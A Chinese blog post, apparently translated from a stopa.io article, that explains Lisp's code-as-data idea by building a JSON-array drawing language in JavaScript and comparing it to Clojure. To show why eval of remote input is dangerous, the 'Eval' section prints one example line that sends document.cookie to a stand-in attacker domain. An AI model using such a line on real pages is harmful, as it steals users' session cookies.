查看原文
其他

为什么Lisp程序员总能碾压其他人?

码农翻身 2022-10-14
我敢打赌,这篇文章80%的人只能看到三分之一处,然后就拉到最后了.....

每一个看到Lisp代码的人,都会觉得Lisp那无休无止的括号实在是太诡异了。


但是,Lisp的伟大之处恰恰就在哪些括号中!


为什么会这样?


今天,我将带领大家走向顿悟的旅程。


画图程序


假设我们要写一个画图的程序,可以在屏幕上画点东西。

用JavaScript来写的话,可能就会有这些函数:

drawPoint({x0y1}, 'yellow')
drawLine({x0y0}, {x1y1}, 'blue')
drawCircle(point, radius, 'red')
rotate(shape, 90)
...

非常简单和清晰,对吧?


挑战


现在来一点挑战:能不能支持远程画图呢?


远程画图是说一个用户可以发送指令到你的电脑上,你的电脑执行指令,显示画图结果。


我们该怎么做呢?


可以使用websocket,从远程用户那里接收指令。

websocket.onMessage(data => { 
  /* TODO */ 
})


Eval


接收到指令以后还需要执行,一种方法是使用JavaScript的eval:

websocket.onMessage(data => {
  eval(data)
})

这样用户可以发一个类似这样的指令:"drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'red')"


我们的计算机就可以把这条线给画出来了。


但是,等等,eval太“邪恶”了,它啥都能执行,如果某个恶意用户发了这样的东西:

window.location='http://iwillp3wn.com?user_info=' + document.cookie

eval去执行的时候,就会把本机的cookie发给了iwillp3wn.com。


eval是个危险分子,不能用它。


初始的想法


其实我们可以把远程发过来的指令定义成JSON的格式,然后对它进行解析,映射到我们的写好的drawLine,drawPoint等函数上。


像这样:

{
  instructions: [
    { 
      functionName"drawLine"
      args: [{ x0y0 }, { x1y1 }, "blue"
    },
  ];
}


当我们收到远程用户发来这样指令的时候,我们一解析就知道:


他想调用一个叫做drawLine的函数,传递了3个参数:{ x: 0, y: 0 }, { x: 1, y: 1 },"blue"。


我们的解析代码是这样的:

webSocket.onMessage(instruction => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  function drawLine(start,end,color){
      ...  
  }
  data.instructions.forEach((ins) => fns[ins.functionName](...ins.args));
})

码农翻身注:不得不说,JavaScript表达力还是很强的,一行代码就把数据解析和函数调用做完了。不熟悉JavaScript的同学也许看不明白,没关系,它就是一个对JSON的解析和调用对应函数的过程,意识到这一点就可以了。


简化一下


稍微停下前进的脚步,看看能不能把JSON指令给简化一下。


{
  instructions: [
    { 
      functionName"drawLine"
      args: [{ x0y0 }, { x1y1 }, "blue"
    },
    { 
      functionName"drawPoint"
      args: [{ x10y10 },  "red"
    }
  ];
}

每个指令都有functionName,都有args,完全可以把它们干掉,让JSON变得更紧凑:

{
  instructions: [
    ["drawLine", { x0y0 }, { x1y1 }, "blue"],
    ["drawPoint", { x10y10 },  "red"]
  ]
}

可以看出,我们把每条指令都变成了一个简单的数组!


这个数组的第一个元素表示函数名称,剩下的元素是这个函数需要的参数。


当然,解析的代码也需要微微调整一下。

websocket.onMessage(data => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  data.instructions.forEach(([fName, ...args]) => fns[fName](...args));
})


暂停一下,再次看看我们的JSON:


{
  instructions
  [
    ["drawLine", { x0y0 }, { x1y1 },"blue"]
  ]
}


我们所有的数据都是指令,为什么要有一个叫做instructions的关键字?并且它还处于最顶层。


改成这样如何:

"do",
  ["drawLine", { x0y0 }, { x1y1 },"blue"]
]


引入一个新的指令,叫做 do , 表示要运行后面的所有指令。


解析JSON的代码又得改一下了:


websocket.onMessage(data => { 
  const fns = {
    ...
    do: (...args) => args[args.length - 1],
  };
  const parseInstruction = (ins) => {
    if (!Array.isArray(ins)) {
      // this must be a primitive argument, like {x: 0, y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.map(parseInstruction));
  };
  parseInstruction(data);
})

现在,我们可以支持这样的指令了:

[
  "do",
  ["drawPoint", { x0y0 },"red" ],
  ["drawLine",  { x0y0 }, { x1y1 },"blue"]
]

是不是漂亮多了?


自定义变量


在JavaScript当中,我们是支持定义变量的:

const shape = drawLine({x0y0}, {x1y1}, 'red')
rotate(shape, 90)


在JSON格式的数据指令中,能不能也这样定义变量:

["def","shape",["drawLine", { x0y0 }, { x1y1 }]]
["rotate","shape",90]

注意,这里引入一个新的关键词def,这个def并不在最初的那些画图的函数列表中。


再次修改解析代码,越来越复杂了,看不明白的同学可以略过,只要记住在JS中能实现就好:

websocket.onMessage(data => { 
  const variables = {};
  const fns = {
    ...
    def: (name, v) => {
      variables[name] = v;
    },
  };
  const parseInstruction = (ins) => {
    if (variables[ins]) {
      // this must be some kind of variable, like "shape"
      return variables[ins];
    }
    if (!Array.isArray(ins)) {
      // this must be a primitive argument, like {x: 0, y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.map(parseInstruction));
  };
  parseInstruction(data);
})

自定义函数


在JavaScript中,我们可以自定义一个叫做画三角形的函数:

const drawTriangle = function(left, top, right, color) 
   drawLine(left, top, color);
   drawLine(top, right, color); 
   drawLine(left, right, color); 

drawTriangle(...)

这样,就对原始的函数做了扩展。 


在JSON指令中,该怎么去实现它呢?


可以模仿JS的格式: 

 ["def""drawTriangle",
  ["fn", ["left""top""right""color"],
    ["do",
      ["drawLine""left""top""color"],
      ["drawLine""top""right""color"],
      ["drawLine""left""right""color"],
    ],
  ],
],
["drawTriangle", { x0y0 }, { x3y3 }, { x6y0 }, "blue"]

对于这个格式的实现确实是有点儿复杂,我实在不想在这里贴大段大段的代码了。


总之,你记住可以实现就是了。


感兴趣的同学可以去看看源码:

https://jsfiddle.net/xn3tkdhL/2/

https://jsfiddle.net/xn3tkdhL/3/



演示时刻


是时候演示一下画图程序了。


这是程序画出的三角形



这是一个快乐的人



惊喜时刻


我们折腾了半天,其实是用JavaScript实现了一个小小的编程语言。


这个语言使用JSON描述语法的,允许远程用户定义变量和函数。


由于这个语言的元素是JSON数组,我们暂时称它为数组语言。


数组语言支持定义变量,定义函数,并且如果你深入思考的话,就会发现它甚至有比JavaScript还厉害的地方。


在JavaScript中,你可以用这种方式来定义变量: 


const x = foo


但是你不能把const写成constant,因为这不符合JavaScript的语法。 


但是在我们的数组语言中,根本没有语法,一切都是数组。我们可以轻松地写一个constant指令,就像def那样。


在JavaScript中,我们程序员都是“客人”, 需要语言设计者的规矩来行事。


在数组语言中,我们是合作者,这里有内置的、语言设计者写的def ,fn ,也有合作者定义的drawTriangle,它们都处于同等的地位。


代码就是数据


如果我们的代码就是一堆数组,我们就可以操作这些JSON数组,编写生成代码的代码!


例如我们想在JavaScript中支持unless


每当有人写这样代码的时候

unless foo { 
   ...
}

我们把它转化成:

if !foo { 
   ...
}

这在JS中很难做到,我们需要Babel这样的东西来解析我们的源代码,形成抽象语法树,然后AST层面来重写代码


在我们的数组语言中,我们的代码只是JSON数组,我们可以操作这些数据,实现unless:

function rewriteUnless(unlessCode) {
   const [_unlessInstructionName, testCondition, consequent] = unlessCode; 
   return ["if", ["not", testCondition], consequent]
}
rewriteUnless(["unless", ["="11], ["drawLine"]])
// => 
["if", ["not", ["="11]], ["drawLine"]];

非常轻松,关键是我们可以把代码当做数据来折腾!


我们到底做了什么事情?


实际上,我们碰巧发明的这种数组语言是一种糟糕的Lisp方言!


再看一下最复杂的例子吧:

[
  "do",
  [
    "def",
    "drawTriangle",
    [
      "fn",
      ["left""top""right""color"],
      [
        "do",
        ["drawLine""left""top""color"],
        ["drawLine""top""right""color"],
        ["drawLine""left""right""color"],
      ],
    ],
  ],
  ["drawTriangle", { x0y0 }, { x3y3 }, { x6y0 }, "blue"],
  ["drawTriangle", { x6y6 }, { x10y10 }, { x6y16 }, "purple"],
])

在Lisp的方言 Clojure 中是这个样子的:


(do 
  (def draw-triangle (fn [left top right color]
                       (draw-line left top color)
                       (draw-line top right color)
                       (draw-line left right color)))
  (draw-triangle {:x 0 :y 0} {:x 3 :y 3} {:x 6 :y 0"blue")
  (draw-triangle {:x 6 :y 6} {:x 10 :y 10} {:x 6 :y 16"purple"))

主要的不同在于:


1.()现在表示List


2. 删除了所有的逗号


3. 原来的“驼峰表示法”变成了“烤肉串表示法”


4. 不在使用字符串,而是用了一个新类型:符号(symbol)


5. 其余的规则都是相同的。


结论


如果我们想用操作数据一样来操作代码, 答案就是:把代码变成数据。


如果代码必须是数据,用什么格式来表示它?


XML可以!


JSON也可以!


你自定义的其他格式也可以!


但是,如果我们努力去寻找最简单的数据结构,我们会达到最终的目的地:列表(List)。


实际上,我们的JSON数组语言是由JavaScript实现的,两者是融为一体的,想对JSON数组语言增加语法,必须要写对应的JavaScript代码。


但是对Lisp来说,它的代码本身就是数据,此外Lisp还支持宏(macro),宏可以直接把列表当做数据来操作,从而生成新代码,不需要其他语言的介入。


这是个强大得让人恐怖的功能。


你可以想象,你可以和语言设计者站在同一个层次去增强一门语言,把那个语言变成一个属于你所在业务领域的语言,然后用新语言去编程,那编程速度得有多快!


但是,Lisp宏要求在一个更高的层面进行编程,把代码当做数据折腾来折腾去,感觉就是一个人肉编译器了,没有多少程序员能够做得很好。


现在你应该明白,为什么那些Lisp大牛有多厉害了吧!


原文链接:https://stopa.io/post/265  翻译有删减




程序员的宿命
芯片战争70年,真正的王者即将现身
宇宙第一IDE到底是谁?
程序员,你得选准跑路的时间!
两年,我学会了所有的编程语言!
Javascript: 一个屌丝的逆袭
我是一个线程
TCP/IP之大明邮差
一个故事讲完Https
CPU 阿甘

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存